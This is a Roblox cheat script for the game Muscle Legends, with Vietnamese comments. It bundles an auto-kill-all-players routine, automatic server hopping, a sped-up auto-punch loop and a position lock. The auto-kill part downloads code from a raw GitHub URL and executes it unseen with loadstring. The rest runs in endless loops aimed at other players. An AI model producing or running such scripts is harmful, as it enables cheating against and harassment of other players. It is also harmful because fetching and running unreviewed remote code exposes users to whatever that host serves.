--=============================== -- GHÉP TẤT CẢ SCRIPT LẠI THÀNH 1 --=============================== --=============================== -- (1) Auto Kill All Players Script for Muscle Legends (v3) + Auto Teleport Tiny Island --=============================== local Players = game:GetService("Players") -- URL script Auto Kill All gốc local url = "https://raw.githubusercontent.com/duycon10/Venom/refs/heads/main/Code%20(1).txt" -- Danh sách player dùng cho Auto Kill local serverPlayers = {} -- Hàm dịch chuyển (Teleport) local function teleportTo(position, message) local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoidRootPart = character:WaitForChild("HumanoidRootPart") humanoidRootPart.CFrame = position game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Teleport", Text = "Teleported to " .. message, Duration = 3 }) end -- Hàm load Auto Kill local function LoadAutoKill() teleportTo(CFrame.new(-34, 7, 1903), "Tiny Island") -- tọa độ đảo Tiny local success, response = pcall(function() return game:HttpGet(url) end) if success and response then loadstring(response)() print("✅ Auto Kill All Players script loaded successfully!") else warn("⚠️ Failed to load Auto Kill All script") end end -- Khởi tạo danh sách từ player đang có for _, player in pairs(Players:GetPlayers()) do serverPlayers[player.Name] = true end Players.PlayerAdded:Connect(function(player) print("➕ "..player.Name.." vừa join, thêm vào danh sách Auto Kill!") serverPlayers[player.Name] = true end) Players.PlayerRemoving:Connect(function(player) if serverPlayers[player.Name] then print("➖ "..player.Name.." đã out, xoá khỏi danh sách Auto Kill!") serverPlayers[player.Name] = nil end end) local function GetServerPlayers() local list = {} for name,_ in pairs(serverPlayers) do local player = Players:FindFirstChild(name) if player then table.insert(list, player) end end return list end --=============================== -- (2) Hop Server (tự động đổi server + đếm số lần chết) --=============================== local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local player = Players.LocalPlayer local deathCount = 0 local gameId = game.PlaceId local function hopServer() local servers = {} local cursor = "" repeat local url = "https://games.roblox.com/v1/games/"..gameId.."/servers/Public?sortOrder=Asc&limit=100"..(cursor ~= "" and "&cursor="..cursor or "") local success, data = pcall(function() return HttpService:JSONDecode(game:HttpGet(url)) end) if success and data and data.data then for _, server in ipairs(data.data) do if server.playing >= 15 and server.playing < server.maxPlayers then table.insert(servers, server) end end cursor = data.nextPageCursor or "" end wait(0.5) until cursor == "" or #servers > 0 if #servers > 0 then local chosen = servers[math.random(1, #servers)] local success, err = pcall(function() TeleportService:TeleportToPlaceInstance(gameId, chosen.id, player) end) if not success then warn("Teleport failed, retrying new server in 1s...", err) wait(1) hopServer() end else warn("No servers with 15+ players found, retrying...") wait(1) hopServer() end end spawn(function() while true do wait(60) hopServer() end end) player.CharacterAdded:Connect(function(char) local humanoid = char:WaitForChild("Humanoid") humanoid.Died:Connect(function() deathCount = deathCount + 1 print("You died "..deathCount.." times.") if deathCount >= 3 then hopServer() deathCount = 0 end end) end) --=============================== -- (3) Auto Normal Punch Script --=============================== local Workspace = game:GetService("Workspace") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local AutoPunch = true local function getPunchTool() local char = Workspace:FindFirstChild(LocalPlayer.Name) local punchTool = LocalPlayer.Backpack:FindFirstChild("Punch") or (char and char:FindFirstChild("Punch")) return punchTool, char end LocalPlayer.CharacterAdded:Connect(function(char) task.wait(0.5) local punchTool = LocalPlayer.Backpack:FindFirstChild("Punch") if punchTool then punchTool.Parent = char print("Re-equipped Punch tool after respawn") end end) LocalPlayer.CharacterRemoving:Connect(function(char) local punchTool = char:FindFirstChild("Punch") if punchTool then punchTool.Parent = LocalPlayer.Backpack print("Unequipped Punch tool due to death") end end) spawn(function() while AutoPunch do local punchTool, char = getPunchTool() if punchTool and char then if punchTool.Parent ~= char then punchTool.Parent = char task.wait(0.1) end local attackTime = punchTool:FindFirstChild("attackTime") if attackTime then attackTime.Value = 0.35 end punchTool:Activate() else warn("Punch tool not found!") end task.wait() end end) --=============================== -- (4) Lock Player Position Script (giữ vị trí sau khi chết) --=============================== local function startLockPosition() local localPlayer = Players.LocalPlayer local hrp local lockedPosition = nil local locking = true local function setupChar(char) hrp = char:WaitForChild("HumanoidRootPart") if lockedPosition then hrp.CFrame = CFrame.new(lockedPosition) end end if localPlayer.Character then setupChar(localPlayer.Character) end localPlayer.CharacterAdded:Connect(setupChar) local function setLockPosition() if hrp then lockedPosition = hrp.Position end end setLockPosition() RunService.RenderStepped:Connect(function() if locking and hrp and lockedPosition then hrp.CFrame = CFrame.new(lockedPosition) end end) end --=============================== -- Điều kiện: Script 1 bật trước, sau 1s mới bật Script 4 --=============================== LoadAutoKill() task.delay(1, function() startLockPosition() end)